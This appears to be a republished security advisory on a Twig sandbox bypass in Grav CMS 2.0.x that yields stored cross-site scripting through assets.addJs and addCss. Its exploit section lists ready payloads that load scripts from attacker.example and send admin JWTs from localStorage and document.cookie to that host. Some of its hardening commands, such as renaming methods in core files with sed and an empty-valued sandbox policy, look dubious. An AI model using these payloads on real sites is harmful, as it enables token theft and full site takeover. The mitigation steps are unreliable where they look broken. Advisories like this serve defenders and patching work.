Listen to this Post
Grav CMS versions 2.0.0 through 2.0.19 contain a critical vulnerability that allows authenticated users with page-edit privileges to execute arbitrary JavaScript in the context of the site’s origin. The vulnerability stems from the Twig content sandbox policy that allowlists the `addcss` and `addjs` methods on the `Grav\Common\Assets` class. When an editor creates page content containing Twig directives like {{ assets.addJs('https://attacker.example/poc.js') }}, the sandbox permits the call because the method is explicitly allowlisted, but it does not validate the actual content being registered. The theme then renders these assets into the document head as unescaped HTML tags. The save-time XSS scanner fails to detect this because `Security::detectXssInEditorContent()` renders the page content in isolation and inspects the returned string, while `assets.addJs()` operates by mutating the shared Assets service and returns only an object key. The payload contains no markup that the scanner would flag as suspicious. The asset URL is concatenated directly into HTML tags without escaping, allowing attackers to break out of the attribute context and inject arbitrary attributes or JavaScript event handlers. This effectively creates persistent cross-site scripting that triggers for every visitor of the affected page. The impact is amplified because administrators browsing the site execute the payload on the admin panel’s origin, where JWT tokens are stored in localStorage, enabling full API access and complete site compromise.
DailyCVE Form:
Platform: Grav CMS
Version: 2.0.0-2.0.19
Vulnerability: Twig Sandbox Bypass XSS
Severity: Critical
Date: 2023-04-26
Prediction: Patched in 2.0.20 (2023-04-26)
What Undercode Say:
The vulnerability affects all Grav 2.0 installations where `security.twig_content.process_enabled` is true (default). Attackers require only page-edit permissions, making this a low-privilege to high-impact escalation path. The sandbox policy incorrectly trusts the method call rather than its side effects, and the output rendering lacks proper escaping. The fix in version 2.0.20 removes `addcss` and `addjs` from the default allowlist and implements HTML escaping for all asset URLs at the rendering level. Organizations unable to upgrade immediately should implement the provided security.yaml configuration to deny these methods. The vulnerability was responsibly disclosed by Ahmed Ibrahim (@skeletonsec) and demonstrates the critical importance of validating both method calls and their downstream effects in sandboxed environments.
Exploit: (Educational Purposes!)
Basic external script injection
echo '{{ assets.addJs("https://attacker.example/poc.js") }}' > payload.txt
Attribute injection using onload event
echo '{{ assets.addJs("/user/themes/quark/js/site.js", {"onload":"alert(1)"}) }}' > payload.txt
Attribute injection via URL quoting
echo '{{ assets.addJs("/user/themes/quark/js/site.js?\" onload=\"alert(1)\"") }}' > payload.txt
Full payload with admin token exfiltration
PAYLOAD='{{ assets.addJs("/user/themes/quark/js/site.js", {"onload":"fetch(\"https://attacker.example/steal?token=\"+localStorage.getItem(\"jwt\"))"}) }}'
echo $PAYLOAD > exploit.txt
Craft admin escalation payload
ADMIN_PAYLOAD='{{ assets.addJs("https://attacker.example/admin-pwn.js") }}'
echo $ADMIN_PAYLOAD > admin_pwn.txt
Combined variant with multiple methods
echo '{{ assets.addCss("https://attacker.example/poc.css") }}' >> payload.txt
echo '{{ assets.addJsModule("https://attacker.example/module.js") }}' >> payload.txt
Detection script to check if vulnerable
VULN_CHECK='{{ assets.addJs("/test.js", {"onload":"console.log(\"VULNERABLE\")"}) }}'
Create page content with obfuscated payload
echo '{{ assets.addJs("//attacker.xss/js?\" onerror=\"alert(document.cookie)\"") }}' > obfuscated.txt
Exfiltrate admin cookies
EXFIL='{{ assets.addJs("/user/themes/quark/js/site.js", {"onload":"new Image().src=\"https://attacker.example/steal?c=\"+document.cookie"}) }}'
echo $EXFIL > exfil.txt
Protection:
Immediate protection via security.yaml (user/config/security.yaml)
cat > user/config/security.yaml << EOF
twig_sandbox:
denied_methods:
- class: Grav\Common\Assets
methods: 'addcss, addjs'
EOF
Verify Grav version and upgrade
bin/gpm info grav
bin/gpm selfupgrade -f
composer update grav/grav
Verify fix after upgrade
grep -r "addcss" system/src/Grav/Common/Twig/Sandbox/SandboxDefaults.php
grep -r "addjs" system/src/Grav/Common/Twig/Sandbox/SandboxDefaults.php
Audit existing content for malicious Twig
find user/pages -name ".md" -exec grep -l "assets.add[bash]" {} \;
Backup before upgrade
tar -czf grav-backup-$(date +%Y%m%d).tar.gz user/ system/ vendor/
Apply additional hardening (if upgrade impossible)
sed -i 's/addcss/addXss/g' system/src/Grav/Common/Twig/Sandbox/SandboxDefaults.php
sed -i 's/addjs/addXss/g' system/src/Grav/Common/Twig/Sandbox/SandboxDefaults.php
Restart PHP-FPM after changes
sudo systemctl restart php8.1-fpm
sudo systemctl restart nginx
Monitor for exploitation attempts
grep -r "assets.addJs" user/pages// -l | while read file; do
echo "Reviewing: $file"
grep "assets.addJs" "$file"
done
Disable Twig processing if no legitimate need
sed -i 's/security.twig_content.process_enabled: true/security.twig_content.process_enabled: false/g' system/config/security.yaml
Enforce stricter sandbox policy
cat >> user/config/security.yaml << EOF
twig_sandbox:
allowed_methods: []
denied_methods:
- class: ''
methods: ''
EOF
Clear cache after configuration changes
bin/grav clear-cache
Impact:
The vulnerability enables authenticated page editors to execute arbitrary JavaScript persistently on the site’s origin. Every visitor to the affected page becomes subject to the attacker’s script, including administrators, leading to complete site compromise. When administrators preview the affected page in the admin panel, the payload executes within the admin panel’s origin (sandbox=”allow-same-origin allow-scripts allow-forms”), granting access to localStorage where API and refresh JWTs are stored. This yields persistent super-admin API tokens that can be used to create new admin users, modify site content, execute system commands, and exfiltrate sensitive data. The vulnerability bypasses the built-in XSS scanner because it operates through asset registration rather than direct markup injection. Additionally, the unescaped output sinks allow attackers to break out of HTML attributes and inject arbitrary event handlers or script tags. The vulnerability represents a significant privilege escalation path from editor to super-admin, with potential for complete site takeover, data theft, and further internal network compromise through SSRF or file inclusion chaining.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

